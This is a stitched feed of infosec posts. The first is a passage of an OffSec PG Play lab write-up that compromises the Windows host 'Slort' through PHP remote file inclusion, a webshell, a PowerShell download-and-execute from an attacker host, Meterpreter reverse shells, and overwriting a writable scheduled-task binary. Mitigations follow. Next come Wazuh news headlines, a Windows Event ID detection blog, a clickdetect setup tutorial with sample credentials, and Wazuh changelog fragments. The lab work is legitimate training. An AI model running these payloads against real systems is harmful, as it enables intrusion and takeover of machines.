   5.2  Generating the Replacement Payload
   5.3  Overwriting TFTP.EXE
   5.4  Catching the Administrator Session
6. Proof of Compromise
7. Vulnerability Summary
8. Defense & Mitigation
   8.1  Remote File Inclusion — PHP allow_url_include Enabled
   8.2  User Input Passed to include() Without Sanitisation
   8.3  World-Writable Scheduled Task Binary

1. Reconnaissance

1.1 Nmap Port Scan — Fast Pass

nmap -Pn -sC -sV -F <TARGET_IP>

Results:

Port      State  Service   Version
--------  -----  --------  -------------------------------------------------
21/tcp    open   FTP       FileZilla 0.9.41 beta
135/tcp   open   msrpc     Microsoft Windows RPC
139/tcp   open   netbios   Microsoft Windows netbios-ssn
445/tcp   open   SMB       Microsoft Windows SMB (signing not required)
3306/tcp  open   mysql     MariaDB — unauthorized (local connections only)
8080/tcp  open   HTTP      Apache 2.4.43, PHP 7.4.6, OpenSSL 1.1.1g (Win64 XAMPP)

The port 8080 finding is the most significant. XAMPP is a self-contained PHP development stack — the combination of Apache, PHP, MySQL, and sometimes phpMyAdmin — and old versions are known to ship with dangerous default settings, such as allow_url_include enabled. MariaDB is reachable on 3306, but the banner says "host not allowed", meaning it is accepting local connections only. SMB message signing is not required, which is noted for completeness. FTP is running a very old FileZilla beta — worth probing for anonymous login before moving on.

1.2 Nmap Port Scan — Full Range

nmap -Pn -p- --min-rate 5000 <TARGET_IP>

Additional ports found:

49665/tcp  open  msrpc
49666/tcp  open  msrpc

Both are ephemeral Windows RPC ports assigned dynamically at startup. They provide no additional attack surface here. The full scan confirms that the fast pass covered the meaningful services.

1.3 Dead-End Service Checks

Three quick checks before committing to the web server:

ftp <TARGET_IP>
# Username: anonymous
# Password: anonymous

Anonymous FTP login was rejected. FileZilla 0.9.41 beta is an old version, but anonymous access was not enabled on this instance.

smbclient -L //<TARGET_IP> -N

NT_STATUS_ACCESS_DENIED

Null session authentication is blocked. No SMB shares are enumerable without credentials.

mysql -h <TARGET_IP> -u root --password=''

Connection refused — MariaDB is bound to localhost only, consistent with the Nmap banner. XAMPP’s default MariaDB configuration does not expose the database externally, and that default was not changed here.

All three dead ends confirmed in under two minutes. Port 8080 is the target.

2. Web Enumeration

2.1 Directory Busting — Port 8080

ffuf -u http://<TARGET_IP>:8080/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -mc 200,301,302,403 -t 40

Results:

Path          Status  Notes
-----------   ------  ----------------------------------------
/site         301     Custom application
/phpmyadmin   403     Installed but access restricted
/dashboard    301     Default XAMPP dashboard

/site/ is the non-standard result. phpMyAdmin is present and blocked from external access — a useful note if credentials surface later. The XAMPP dashboard is the default content. Everything that matters is in /site/.

2.2 Enumerating /site/

ffuf -u http://<TARGET_IP>:8080/site/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -mc 200,301,302,403 -t 40

Results:

Path        Status  Size   Notes
----------  ------  -----  ------------------------------------------
admin.php   200     3998   Present
controllers 200     984    Application MVC structure
css         301     —      Static assets
fonts       301     —      Static assets
images      301     —      Static assets
index.php   301     27     Tiny body — redirect script
js          301     —      Static assets

index.php returning a 301 with only 27 bytes in the response body is the key finding. That response size is consistent with a PHP script containing nothing but a header("Location: ...") redirect — the entire file is a single redirect, and it is almost certainly redirecting to itself with a ?page= parameter appended. That is the classic signature of a file inclusion handler.

2.3 Identifying the File Inclusion Parameter

curl -I http://<TARGET_IP>:8080/site/index.php

Response header:

HTTP/1.1 301 Moved Permanently
Location: index.php?page=main.php

Confirmed. The application uses ?page= to determine which PHP file to include. The redirect destination is main.php, meaning the application's logic is to include whatever file is named in the page parameter. If that parameter is passed unsanitised into PHP's include(), it is a file inclusion vulnerability. The next step is confirming how far it can be pushed.

3. Initial Access — RFI via PHP allow_url_include

3.1 Confirming LFI via Path Traversal

curl "http://<TARGET_IP>:8080/site/index.php?page=../../../../windows/system32/drivers/etc/hosts"

Output: The Windows hosts file content was returned verbatim in the response body.

LFI is confirmed. The application passes $_GET['page'] directly into include() with no path restriction and no input sanitisation. The web root sits at C:\xampp\htdocs\site\, so four levels of ../ traversal climb to the filesystem root, and the hosts file path resolves cleanly from there.

LFI alone enables arbitrary file reads — configuration files, credential stores, source code. The more powerful technique is RFI: if PHP’s allow_url_include directive is enabled, include() can fetch and execute code from a remote URL entirely under attacker control.

3.2 Confirming RFI and Deploying a PHP Webshell

Create a minimal PHP webshell locally:

echo '<?php system($_GET["cmd"]); ?>' > ~/cmd.php

Serve it over HTTP from the attacker's machine:

python3 -m http.server 8000

Trigger remote inclusion and confirm RCE:

curl "http://<TARGET_IP>:8080/site/index.php?page=http://<ATTACKER_IP>:8000/cmd.php&cmd=whoami"

Output:

slort\rupert

RFI confirmed. allow_url_include is enabled on this XAMPP installation. PHP fetched cmd.php from the attacker's machine, executed it as server-side code, and ran whoami via system(), and returned the result. Remote code execution as rupert is established.

💡 allow_url_include was deprecated in PHP 7.4 and removed in PHP 8.0. Its presence here on PHP 7.4.6 confirms this is an unmaintained, default XAMPP installation where the dangerous default was never corrected.

3.3 Upgrading to an Interactive Meterpreter Session

A webshell requires a separate HTTP request for every command and leaves a log entry for every action. An interactive reverse shell provides a persistent, stateful terminal session.

Generate a stageless Windows Meterpreter payload:

msfvenom -p windows/x64/meterpreter_reverse_tcp \
     LHOST=<ATTACKER_IP> LPORT=4444 \
     -f exe -o shell.exe

A stageless payload (meterpreter_reverse_tcp) embeds the full Meterpreter agent in a single executable. A staged payload (meterpreter/reverse_tcp) sends a small stager first, which then downloads the agent in a second connection. Stageless is more reliable — one connection, full functionality from the moment it lands. If the second connection of a staged payload is interrupted by a firewall or timing issue, the session is lost.

Serve the payload and set up the Metasploit handler:

# Metasploit handler
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 4444
run

Deliver the payload via the webshell using a base64-encoded PowerShell command. Base64 encoding the entire PowerShell command with -enc sidesteps character escaping issues that arise when special characters — quotes, semicolons, dollar signs, pipes — must survive intact through URL encoding, PHP's system(), and PowerShell's own parser. A single base64 token collapses all of that complexity.

# Generate the base64-encoded download-and-execute command
powershell -c "IEX((New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8000/shell.exe'))"
# Base64-encode the above in UTF-16LE for PowerShell -enc

Trigger via the webshell:

curl "http://<TARGET_IP>:8080/site/index.php?page=http://<ATTACKER_IP>:8000/cmd.php&cmd=powershell+-enc+<BASE64_PAYLOAD>"

Meterpreter session received:

meterpreter > getuid
Server username: SLORT\rupert

Interactive session as rupert. Standard post-exploitation enumeration follows.

4. Post-Exploitation Enumeration

4.1 Token Privileges

whoami /priv

Only default low-privilege user rights are present. There is no SeImpersonatePrivilege, SeDebugPrivilege, or SeBackupPrivilege. The fast paths — PrintSpoofer, GodPotato, or token impersonation attacks — are not available here.

4.2 Group Membership

whoami /groups

rupert is a member of the standard user groups only: Everyone, Users, and Authenticated Users. No Administrators, Backup Operators, Remote Management Users, or Remote Desktop Users membership. No group-based escalation path.

4.3 Auto-Starting Services

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

Only VMware Tools services returned, all with properly quoted executable paths. No unquoted service path vulnerabilities, and no third-party service binaries to check for weak ACLs.

4.4 Scheduled Tasks

schtasks /query /fo LIST /v | findstr /i "task name\|run as\|status"

Only standard Windows system maintenance tasks. No custom tasks with writable executables or elevated execution contexts visible through automated enumeration.

4.5 Registry Run Keys

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Only VMware Tools and Windows Security Health entries in both keys. No custom or administrator-added run key entries.

4.6 Manual Filesystem Exploration — C:\Backup

Automated enumeration produced nothing. Manual exploration of non-standard directories is the next step — anything outside C:\Windows\ and C:\Program Files\ that an administrator created deliberately is worth reading.

dir C:\Backup

TFTP.EXE
info.txt

type C:\Backup\info.txt

Output:

Run every 5 minutes:
C:\Backup\TFTP.EXE -i <REMOTE_HOST> get backup.txt

A scheduled task invoking TFTP.EXE on a five-minute interval to pull a backup file from a remote host. Two questions determine whether this is exploitable: what account runs this task, and whether the binary is writable by rupert?

💡 Automated scripts follow predefined patterns. C:\Backup is not part of any default Windows installation — an administrator created it and placed files there deliberately. Non-standard directories created by administrators are consistently worth manual inspection.

5. Privilege Escalation — Writable Scheduled Task Binary

5.1 Confirming Write Access with icacls

icacls C:\Backup\TFTP.EXE

Output:

C:\Backup\TFTP.EXE  BUILTIN\Users:(I)(F)
                    NT AUTHORITY\SYSTEM:(I)(F)
                    BUILTIN\Administrators:(I)(F)

BUILTIN\Users:(I)(F) — Every authenticated user on the system has inherited full control over this file. (F) means full control: read, write, execute, delete, and permission modification. (I) means the permission was inherited from the parent directory's ACL rather than set explicitly on the file itself. rupert is a member of BUILTIN\Users. The binary can be overwritten entirely.

The account that runs the scheduled task is Administrator. Replacing the binary with a Meterpreter payload means the next time the scheduler fires, it executes the payload as Administrator — a direct path to a privileged session.

5.2 Generating the Replacement Payload

msfvenom -p windows/x64/meterpreter_reverse_tcp \
     LHOST=<ATTACKER_IP> LPORT=7777 \
     -f exe -o tftp.exe

Port 7777 is used to keep this listener separate from the existing session on port 4444. The output file is named tftp.exe to match the original binary — while the filename does not affect execution, it keeps the operation clean and avoids any hypothetical filename-based integrity checks.

Set up a second Metasploit handler:

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 7777
run

5.3 Overwriting TFTP.EXE

From the existing rupert Meterpreter session, download the payload directly to the target path using PowerShell's DownloadFile method:

powershell -c "(New-Object Net.WebClient).DownloadFile('http://<ATTACKER_IP>:8000/tftp.exe','C:\Backup\TFTP.EXE')"

DownloadFile writes the file to an exact specified path, making it more reliable than certutil for overwriting an existing binary at a known location.

The overwrite succeeds. The original TFTP.EXE was not locked by any running process — it executes briefly when the scheduler fires and exits immediately. With no active file lock, the binary can be replaced cleanly between scheduler invocations.

5.4 Catching the Administrator Session

Wait for the five-minute scheduled task cycle to complete. The scheduler invokes C:\Backup\TFTP.EXE under the Administrator account. The payload executes and connects back to the second Meterpreter handler.

Session received:

meterpreter > getuid
Server username: SLORT\Administrator

Administrator.

6. Proof of Compromise

meterpreter > getuid
Server username: SLORT\Administrator

7. Vulnerability Summary

#   Vulnerability                                        Severity   Impact
--  ---------------------------------------------------  ---------  -----------------------------------------------
1   PHP allow_url_include enabled on XAMPP               Critical   Remote file inclusion enabling arbitrary RCE
2   User input passed to include() without sanitisation  Critical   LFI and RFI via ?page= parameter
3   TFTP.EXE world-writable by BUILTIN\Users             Critical   Scheduled task binary replaced — Admin session

8. Defense & Mitigation

8.1 Remote File Inclusion — PHP allow_url_include Enabled

Root Cause: PHP’s allow_url_include directive was enabled in the XAMPP php.ini configuration. This setting permits include() and require() to accept full URLs as arguments, causing PHP to fetch and execute remote files as server-side code. Combined with unsanitised user input in the page parameter, this enabled complete remote code execution.

Mitigations:

• Disable allow_url_include immediately and permanently. There is no legitimate production use case for this setting that cannot be achieved safely through other means. Set it to Off in php.ini:

allow_url_include = Off

• Restart Apache after the change:

# Linux
  systemctl restart apache2
  # Windows (XAMPP)
  # Use the XAMPP Control Panel or: net stop Apache2.4 && net start Apache2.4

• Disable allow_url_fopen as well, where external URL fetching is not required. This setting controls whether PHP's file functions can open remote URLs at all. Disabling it eliminates the underlying network fetch capability:

allow_url_fopen = Off

• Keep PHP up to date. allow_url_include was deprecated in PHP 7.4 and removed entirely in PHP 8.0. Upgrading to a supported PHP 8.x release eliminates the setting as a risk entirely. Running PHP 7.4 on a XAMPP installation in a production or lab context is indefensible — it receives no security patches.
• Harden XAMPP for any network-accessible deployment. XAMPP is a development stack. Its default configuration — allow_url_include on, phpMyAdmin accessible, MariaDB with no root password — is intentionally permissive for local development. Any XAMPP instance reachable from a network should be hardened against these defaults before use.

8.2 User Input Passed to include() Without Sanitisation

Root Cause: The index.php application passed $_GET['page'] directly into PHP's include() function. Any value — a relative path, an absolute path, or a full URL — was accepted and executed without validation, restriction, or sanitisation.

Mitigations:

• Never pass user-controlled input directly to include(), require(), or any file system function. This is a fundamental PHP security principle. If dynamic page loading is a genuine application requirement, it must be implemented through a strict allowlist — only known, pre-approved values should ever reach a file inclusion call:

$allowed_pages = [
      'home'  => 'home.php',
      'about' => 'about.php',
      'store' => 'store.php',
  ];
  $page = $allowed_pages[$_GET['page']] ?? 'home.php';
  include($page);

• Any value not in the $allowed_pages array silently falls back to the default. An attacker passing a path traversal sequence or a remote URL receives the home page — nothing executes, nothing is disclosed.
• Set open_basedir in php.ini to restrict which directories PHP can access. Even if LFI is exploited, open_basedir confines file access to a specified directory tree and prevents reading files outside of it:

open_basedir = C:/xampp/htdocs/site/

• Conduct a source code review for all include() and require() calls. Every call to these functions in the codebase should be audited. Any that accepts external input without allowlist validation is a vulnerability. This is a straightforward static analysis task that should be part of any application security review.
• Use a Web Application Firewall as a compensating control. ModSecurity with the OWASP Core Rule Set detects path traversal sequences and remote URL patterns in parameters. It does not replace fixing the root cause, but it adds a meaningful detection and blocking layer.

8.3 World-Writable Scheduled Task Binary

Root Cause: C:\Backup\TFTP.EXE inherited (F) — full control — from the parent directory's ACL for BUILTIN\Users. Every authenticated user on the system could overwrite the binary. The scheduled task ran the binary as Administrator on a five-minute cycle. Any attacker with a low-privilege session could replace the binary and wait for the scheduler to provide an Administrator callback.

Mitigations:

• Remove write permissions for BUILTIN\Users from any executable invoked by a privileged scheduled task or service. The binary should be readable and executable by the account running the task, and writable only by Administrators or SYSTEM. Correct the ACL immediately:

icacls C:\Backup\TFTP.EXE /remove:g "BUILTIN\Users"
  icacls C:\Backup\TFTP.EXE /grant:r "BUILTIN\Users:(RX)"
  icacls C:\Backup\TFTP.EXE /grant:r "NT AUTHORITY\SYSTEM:(F)"
  icacls C:\Backup\TFTP.EXE /grant:r "BUILTIN\Administrators:(F)"

• Apply the principle of least privilege to all scheduled task executables and service binaries. The rule is simple: an account that does not need to modify a binary must not have write access to it, regardless of what inherited permissions the parent directory grants. Audit all scheduled tasks and services regularly:

icacls C:\Path\To\TaskExecutable.exe

• Any result showing (F), (M), or (W) for BUILTIN\Users, Everyone, or Authenticated Users is a critical finding.
• Review the ACL of the parent directory, not just the binary. The inherited permissions here originated from C:\Backup\ itself. Fixing the directory ACL prevents future executables placed there from inheriting the same dangerous permissions:

icacls C:\Backup /inheritance:r
  icacls C:\Backup /grant:r "NT AUTHORITY\SYSTEM:(OI)(CI)(F)"
  icacls C:\Backup /grant:r "BUILTIN\Administrators:(OI)(CI)(F)"

• Store scheduled task executables in root-owned, permission-restricted directories. System utilities and automation scripts used by privileged tasks belong in C:\Windows\System32\, C:\Program Files\, or a custom directory with a deliberately hardened ACL — not in a general-purpose directory like C:\Backup\ where default permissions may be overly permissive.
• Log and alert on modifications to scheduled task executables. Windows Event ID 4663 (file accessed) and 4670 (permissions changed) can be monitored via Windows Security Auditing or a SIEM. Any write to an executable invoked by a privileged scheduled task should generate an immediate alert:

auditpol /set /subcategory:"File System" /success:enable /failure:enable

• Apply File Integrity Monitoring to critical executables. Tools such as OSSEC, Wazuh, or Tripwire can monitor specified files for modification and alert in real time. C:\Backup\TFTP.EXE being overwritten between scheduler invocations would have generated an immediate alert with FIM in place.

OffSec PG Play — for educational purposes only.

Slort — RFI via PHP allow_url_include + Writable Scheduled Task Binary to Administrator | OffSec PG… was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Read more →

The post Critical Wazuh Vulnerability Lets Attackers Tamper with Alerts and Delete Security Evidence appeared first on IT Security News.

The post Critical Wazuh Vulnerability Lets Attackers Tamper with Alerts and Delete Security Evidence appeared first on Cyber Security News.

Read more →

The post Critical Wazuh Flaw Enables Threat Actors to Alter Alerts and Remove Logs appeared first on IT Security News.

The post Critical Wazuh Flaw Enables Alert Tampering and Evidence Deletion appeared first on Cyber Security News.

The post Critical Wazuh Flaw Enables Threat Actors to Alter Alerts and Remove Logs appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

By Ronak Mishra · Security+ Certified · Wazuh Home Lab

Most cybersecurity courses hand you a list of Windows Event IDs and tell you to memorize them. What they don’t show you is what these events actually look like when they fire — the raw fields, the timestamps, the account names, the parent processes.

I set up a home lab running Wazuh SIEM connected to a Windows 11 agent and deliberately triggered each of these events to see exactly what gets captured. Every screenshot in this post is from that lab. No stock images, no theory — just real detections.

Here are the 5 event IDs that matter most when something bad is happening on a Windows machine.

Event ID 4625 Failed logon attempt

“An attacker is outside your network trying passwords one by one, hoping something works. This is what it looks like inside your SIEM before they get in.”

Event ID 4625 fires every time a Windows logon attempt fails. One or two of these is completely normal — people mistype passwords. But when you see a cluster of them hitting in rapid succession targeting the same account, that’s a brute force attack in progress.

The fields that matter most: targetUserName (who they’re targeting), subStatus (why it failed), and logonType (how they’re trying to get in). SubStatus code 0xc0000064 means the targeted user doesn’t even exist — a classic sign of username enumeration before a brute force.

I simulated this by running repeated failed logon attempts against a non-existent account called “fakeuser” on my Windows 11 VM. Here’s what Wazuh captured:

Expanding one of those alerts reveals exactly what happened at the field level — the targeted account name, the failure reason code, and the plain-English confirmation from Windows itself:

Event ID 4688 New process created

“Malware can’t do anything without running a process. This event fires the moment something executes — including the tools attackers use to steal credentials or move through a network.”

Every time a new process starts on Windows, Event ID 4688 fires — if process creation auditing is enabled. The key isn’t just what process ran, it’s what spawned it. The parent-child relationship tells the real story.

A legitimate user opening Notepad looks completely different from malware spawning PowerShell from inside a Word document. In an attack scenario, watch for: PowerShell or cmd spawned by Office applications, encoded command line arguments, or executables running from temp folders.

I triggered this by launching cmd, PowerShell, and Notepad from my Windows VM. Wazuh captured 345 process creation events — the spike you see in the chart is the exact moment those commands ran:

The expanded view shows the full execution chain in one log entry — exactly what process ran, what launched it, and who triggered it:

Event ID 4720 User account created

“The attacker is already inside. Now they’re creating a backdoor account so they can return even if their original access gets cut off.”

Event ID 4720 fires whenever a new local or domain user account is created. In a normal environment this should be rare and expected — IT provisioning a new employee, for example. If you see this event at 2am, created by a non-admin process, with no change ticket backing it up, that’s a persistence mechanism being installed.

This maps directly to MITRE ATT&CK T1136 — Create Account. It’s one of the most reliable persistence indicators in Windows environments because attackers almost always need a fallback entry point.

I created a test account called “testattacker” using PowerShell to simulate this. Wazuh caught it immediately — a single isolated event with zero noise around it:

The expanded view shows every detail Wazuh captured — the account name, who created it, and the event ID confirmed in yellow:

Event ID 4663 File or object accessed

“Ransomware touches hundreds of files in seconds. A credential-stealing tool targets one specific file. Either way — this event is watching.”

Event ID 4663 logs access attempts to specific files and folders when auditing is enabled. In Wazuh, the File Integrity Monitoring module captures this same behavior in real time — logging every file that gets created, modified, or deleted in monitored directories, including SHA1 and MD5 hashes before and after so you can prove exactly what changed.

Ransomware behavior looks like hundreds of these events firing in rapid sequence across multiple directories. A targeted attack looks like one precise access to a credential store or sensitive config file. Volume and pattern are everything.

My Wazuh FIM is running in realtime mode on monitored directories. I created a file called “you are hacked.txt” to trigger it deliberately. Here’s what got captured the moment that file was created:

How to think about these as a SOC analyst

Knowing what each event ID means in isolation is only half the skill. The real work is correlation — one event rarely tells the full story. Here’s how these connect in real attack scenarios:

• Multiple 4625s from one source followed by a 4624 right after — brute force that succeeded
• 4688 showing PowerShell spawned by an Office application — likely a phishing payload executing
• 4720 outside business hours with no change ticket — unauthorized persistence attempt
• Hundreds of 4663s firing across many files in under 30 seconds — ransomware encryption in progress

That pattern — two or more signals, a time window, a threshold — is the foundation of detection engineering. It’s what separates someone who reads logs from someone who builds detection rules. And it’s exactly the thinking SOC roles are looking for in interviews.

I’m building out more detection scenarios in my home lab and documenting everything as I go — Wazuh, Splunk, MITRE ATT&CK mapping, and more. If you’re on the same path — studying for CySA+, building your first SIEM lab, or working toward your first SOC role — feel free to connect on LinkedIn. Always good to compare notes with people actually doing the work.

5 Windows Event IDs Every SOC Analyst Should Know (With Real Lab Evidence) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Hey, souzo here. If you’ve ever wanted alerting rules that actually work in Wazuh without fighting OpenSearch’s detection engine, this post is for you.

Repository: https://github.com/clicksiem/clickdetect

In this blog post I will guide you to:

• Install and configure Opensearch PPL in an existing Wazuh environment
• Install and configure clickdetect
• Write Opensearch PPL
• Write Sigma rules with Opensearch PPL
• Detect threats with your Wazuh data extending wazuh detetion capabilities

Introduction

After working many years with wazuh and opensearch, I wanted some features that currently not exists or are so broken to work with.

OpenSearch has been working to transform its product into a complete SIEM with a detection engine, however… it’s VERY buggy. I tested it several times with real data and always ended up with a corrupted index.

I looked into Elastalert, but I didn’t like its engine; I found the code and maintenance too confusing. Also, why create a rules system when I can use the datasource’s own language? So instead of forking, I created my own solution.

I created ClickDetect to help security teams around the world have an additional tool for generating alerts.

Architecture

Here’s how all the pieces fit together:

Wazuh ships events into the OpenSearch indexer. Clickdetect queries the indexer using PPL (or compiled Sigma rules), evaluates the configured rules on a schedule, and fires alerts to your webhooks when a condition is met.

Clickdetect

Clickdetect is an alerting system tool created to help you to create your detection strategy in whatever datasource you want.

Clickdetect has many datasources supported like: — Clickhouse (+sigma) — Opensearch + Opensearch PPL (+sigma) — Elasticsearch — Victorialogs — PostgreSQL — Loki (+sigma) — Databricks

Clickdetect is multi-tenant by default, you can specify tenant in rules too.

Sigma

Clickdetect v1.4.0 actually supports sigma backend. Check out the documentation https://clickdetect.souzo.me/sigma/

Opensearch & Opensearch PPL

I created ClickDetect to work primarily with ClickHouse because, in my opinion, it’s a better alternative, as it allows for magnificent data compression, which directly impacts the price of SOC services. Furthermore, wazuh’s data is structured, so the ClickHouse JSON column makes more sense (My opinion).

But in this post I will show that it’s possible to use ClickDetect with OpenSearch.

PPL (Piped Processing Language)

Opensearchppl is used to search, filter, and analyze data in an easy and intuitive way. It’s very similar to the LogQL language of Loki or Splunk SPL.

This greatly increases the possibility of turning OpenSearch into a SIEM instead of running queries in the standard DSL format.

Why not SQL?

If you want SQL, try clickhouse or postgresql of tigerdata. PPL makes more sense for Opensearch environment.

Let’s bora

Installing Opensearch PPL in Wazuh

Following the documentation, we first need to install SQL plugin https://docs.opensearch.org/latest/sql-and-ppl/ppl/index/.

Your openseach configurations and binaries are in the directory /usr/share/wazuh-indexer/. Change your directory

cd /usr/share/wazuh-indexer/

First, verify if your opensearch does not have Opensearch SQL Plugin installed. The plugin usually comes pre-installed with Wazuh.

./bin/opensearch-plugin list

If the plugin is not installed, install it.

bin/opensearch-plugin install opensearch-sql

Restart your wazuh indexer

systemctl restart wazuh-indexer

Now It’s fully operational.

Installing and configuring clickdetect

Creating rules

mkdir -p rules/
cat << EOF > rules/manager_started.yml
id: $(cat /proc/sys/kernel/random/uuid)
name: "Wazuh opensearch sigma test - Manager Started"
level: 10
size: ">0"
active: true
author: 
    - Vinicius Morais <me@souzo.me>
group: base_rule
tags: 
    - base
rule: |-
    search source=wazuh-alerts-* | where rule.id='502' and `@timestamp` >= DATE_SUB(NOW(), INTERVAL 5 HOUR )
EOF

Creating runner

You need to configure a runner, runner is a file that configure the schedulers, webhooks and the datasource.

For this example, we will use “teams” as the webhook and configure the detector to run every 5 minute.

cat << EOF > runner.yml
datasource:
    type: opensearch-ppl
    url: https://127.0.0.1:9200
    username: wazuh
    password: wazuh-adm
    verify: false

webhooks:
    teams_alert:
        type: teams
        url: https://<your_companie>.webhook.office.com/...
        timeout: 10
        verify: false

detectors:
    my_detector:
        name: "5m interval"
        for: "5m"
        description: "detect rules with 5 min interval"
        rules:
            - "/app/rules/*"
        webhooks:
            - teams_alert

Running

Now you can run with docker.

docker run -v ./runner.yml:/app/runner.yml -v ./rules/:/app/rules/ ghcr.io/clicksiem/clickdetect:latest

Results

Running the clickdetect

Clickdetect starts up, loads the rule from rules/, and schedules the detector to run every 5 minutes.

Results in terminal

The terminal output shows the rule matched at least one event. Each match includes the rule name, level, and the raw document returned by the PPL query.

Results in teams

The Teams webhook delivers the alert card with the rule name, severity level, and a summary of the matched events.

Going further

This is an extra to you understand the potential.

Sigma rules

You can use sigma rules with clickdetect, check out the documentation. https://clickdetect.souzo.me/sigma/

Configure rule

WARNING: opensearch PPL sigma backend I’ts aligned with the latest opensearch version, “earliest” and “ latest” I’ts not recorinized in wazuh indexer 2.19

Let’s create the sigma rule directory and save the sigma rule.

mkdir -p rules/sigma/

Save your rule inside the created directory.

cat << EOF > rules/sigma/manager_started.yml
title: "wazuh opensearch sigma test - Manager Started"
status: test
id: 32bc608c-67ab-4d58-8361-35d3baac726c
logsource:
    product: wazuh
    category: indexer
detection:
    sel:
        rule.id: '502'
    condition: 1 of sel
custom:
    opensearch_ppl_min_time: "-5m"
    opensearch_ppl_max_time: "now"
EOF

Configure runner

Change the directory of rule in you runner

cat << EOF > runner.yml
datasource:
    type: opensearch-ppl
    url: https://127.0.0.1:9200
    username: wazuh
    password: wazuh-adm
    verify: false

webhooks:
    teams_alert:
        type: teams
        url: https://<your_companie>.webhook.office.com/...
        timeout: 10
        verify: false

detectors:
    my_sigma_detector:
        name: "5m interval"
        for: "5m"
        description: "detect sigma rule with 5 min interval"
        rules:
            - "/app/rules/sigma/*"
        sigma: true
        webhooks:
            - teams_alert

Run

Now you can run.

docker run -v ./runner.yml:/app/runner.yml -v ./rules/:/app/rules/ ghcr.io/clicksiem/clickdetect:latest

AI

Clickdetect + AI SOC Agent. You can specify an AI to auto analyze and generate score using clickdetect agentic plugin.

Example with deepseek.

plugins: 
    clickagentic:
        provider: 'deepseek'
        model: 'deepseek-chat'
        token: '<token>'

Results

This is the result of clickagentic with teams webhook.

Check out the documentation: https://clickdetect.souzo.me/plugin/clickagentic/

Conclusion

With this blog post now you can:

• Run Sigma rules inside your wazuh environment
• Perform multi tenant search and cross site search
• Perform correlation between different logs sources
• Improve your SOC team.

Clickdetect is not affiliated to ClickHouse, and I’m not sponsored (yet).

If this post helped you, consider giving clickdetect a star on GitHub — it helps the project reach more security teams. ✨

Follow my social:

• E-mail: safeup@souzo.me
• Matrix: @souzo:matrix.org
• Twitter/X: https://x.com/souzomain
• Linkedin: https://www.linkedin.com/in/vinicius-m-a76ba51b5/
• Reddit: https://www.reddit.com/user/_souzo/

Extending Wazuh detection capabilities with clickdetect, Opensearch PPL and Sigma Rules was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Removed

• Removed unused SSL/TLS transport option from cluster. (#35648)

Fixed

• Improved message decompression handling in remoted. (#35773)
• Improved agent name validation to reject names starting with dot. (#35833)
• Fixed segfault in vulnerability scanner module shutdown when disabled. (#36011)
• Fixed string buffer handling in version comparison function. (#36059)
• Improved cluster file synchronization security. (#36060)
• Improved cluster file synchronization error handling on invalid task identifiers. (#36129)
• Improved cluster merged file parameter validation to prevent directory escape. (#36204)
• Improved tmp_file path validation in cluster DAPI. (#36246)
• Improved cluster non-merged file path validation during worker file processing. (#36296)
• Improved cluster node name format validation in the hello handler. (#36460)
• Fixed missing agent.host.ip in inventory documents when agent IP is empty. (#35475)
• Fixed stale agent synced status after hot reload on cluster worker nodes. (#6726)

Agent

Fixed

• Fixed agent registration not running on reinstall after apt-get remove. (#35727)
• Fixed MS-Graph integration handling for relationships containing /. (#35431)
• Fixed macOS syscollector to skip package receipts whose payload is no longer installed. (#35380)
• Fixed missing eBPF create, modify and delete events on Ubuntu 24/26 and improved FIM whodata healthcheck. (#35838)
• Hardened FIM database path lookups by migrating to parameterized SQL queries. (#36399)

RESTful API

Fixed

• Escaped control characters in API usernames in access logs. (#35866)
• Added input validation in cluster result handling and authentication. (#35757)
• Fixed current user resolution in the update-user endpoint to enforce admin protection. (#35442)

Ruleset

Fixed

• Updated rootcheck trojan signatures to avoid false positives on modern distributions (Debian 13, Ubuntu 26, Arch Linux). (#35927)

Other

Changed

• Updated cryptography, urllib3 and python-multipart Python dependencies. (#35982)
• Updated eBPF libraries: libbpf to 1.7.0 and bpftool to 7.7.0. (#36467)

• Coding style clang format by @jotacarma90 in #35051
• Dovecot decoders don't match correctly by @hossam1522 in #35089
• Fixing CIS 35675 and 35689 rules bug by @hossam1522 in #35088
• Improve buffer handling in regex match processing by @vikman90 in #35106
• Fix empty-message failure in Windows enrollment integration test by @hernanvalenzuela in #35078
• Use daily marker for GuardDuty log collector by @anromerom in #35110
• Fix rate limit handling for /events endpoint by @javiersanchz in #35077
• Upload Size Limit Config Mismatch - Implementation by @jnasselle in #35141
• Update embedded Python and dependencies by @javiersanchz in #35135
• Escape document id in delete bulk operations by @ignaciogalle12git in #35174
• Add length validation after decompression in ReadSecMSG by @MiguelazoDS in #35193
• Fix uncontroller memory allocation in cluster by @FrancoRivero2025 in #35173
• Limit nested JSON depth in API requests - Implementation by @jnasselle in #35224
• Fix clang-format version resolution in CI by @jotacarma90 in #35180
• Align plugin decoder arguments with existing call path by @matigarciadev in #35176
• Add groups path validation by @TomasTurina in #35230
• Fix audit log cache overflow for events with many records by @vikman90 in #35285
• Update dependencies: cryptography, requests by @javiersanchz in #35331
• Fix memory allocation for long registry paths in syscheck by @Darioortegaleyva in #35287
• Fix for rootcheck not generating findings by @jpcerrone in #35297
• Bump 4.14.6 branch by @wazuhci in #35379
• Fix coverity findings in group validation paths by @TomasTurina in #35384
• Fix active config endpoint and Integration tests by @FrancoRivero2025 in #35412
• Server integration tests flaky test by @Antoniogm03 in #35353
• Skip macOS receipts that are no longer installed by @anromerom in #35380
• Revert tag references to main after v5.0.0-beta1 by @jotacarma90 in #35447
• Improve the code to hide information when a user doesn't have permission by @FrancoRivero2025 in #35307
• Validate current user in update-user endpoint by @vikman90 in #35442
• Complete wazuh server requirements docs by @TomasTurina in #35459
• Optimize error handling geoip locator by @LucioDonda in #35187
